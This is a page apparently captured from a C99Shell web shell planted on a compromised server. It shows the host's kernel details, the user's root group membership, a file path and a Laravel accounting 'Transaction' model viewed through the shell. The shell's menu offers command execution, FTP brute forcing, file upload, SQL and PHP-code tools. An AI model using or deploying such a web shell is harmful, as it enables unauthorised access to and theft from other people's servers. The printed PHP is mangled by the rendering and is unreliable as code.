!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Transaction.php (2.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Model;

class 
Transaction extends Model
{
    protected 
$fillable = [
        
'account',
        
'type',
        
'amount',
        
'description',
        
'date',
        
'created_by',
        
'customer_id',
        
'payment_id',
    ];


    public function 
bankAccount()
    {
        return 
$this->hasOne('App\Models\BankAccount''id''account');
    }


    public static function 
addTransaction($request)
    {

        
$transaction              = new Transaction();
        
$transaction->account     $request->account;
        
$transaction->user_id     $request->user_id;
        
$transaction->user_type   $request->user_type;
        
$transaction->type        $request->type;
        
$transaction->amount      $request->amount;
        
$transaction->description $request->description;
        
$transaction->date        $request->date;
        
$transaction->created_by  $request->created_by;
        
$transaction->payment_id  $request->payment_id;
        
$transaction->category    $request->category;
        
$transaction->save();
    }

    public static function 
editTransaction($request)
    {
        
$transaction              Transaction::where('payment_id'$request->payment_id)->where('type'$request->type)->first();
        
$transaction->account     $request->account;
        
$transaction->amount      $request->amount;
        
$transaction->description $request->description;
        
$transaction->date        $request->date;
        
$transaction->category    $request->category;
        
$transaction->save();
    }

    public static function 
destroyTransaction($id$type$user)
    {

        
Transaction::where('payment_id'$id)->where('type'$type)->where('user_type'$user)->delete();
    }

    public function 
payment()
    {
        return 
$this->hasOne('App\Models\InvoicePayment''id''payment_id');
    }

    public function 
billPayment()
    {
        return 
$this->hasOne('App\Models\BillPayment''id''payment_id');
    }


    
//for export in transaction report
    
public static function accounts($account)
    {
        
$categoryArr  explode(','$account);
        
$unitRate 0;
        foreach (
$categoryArr as $account) {
            if (
$account == 0) {
                
$unitRate '';
            } else {
                
$account        BankAccount::find($account);
                if(
$account != null)
                {
                    
$unitRate       = ($account->bank_name.'  '.$account->holder_name);
                }
                else
                {
                     
$unitRate       '';
                }

            }
        }

        return 
$unitRate;
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--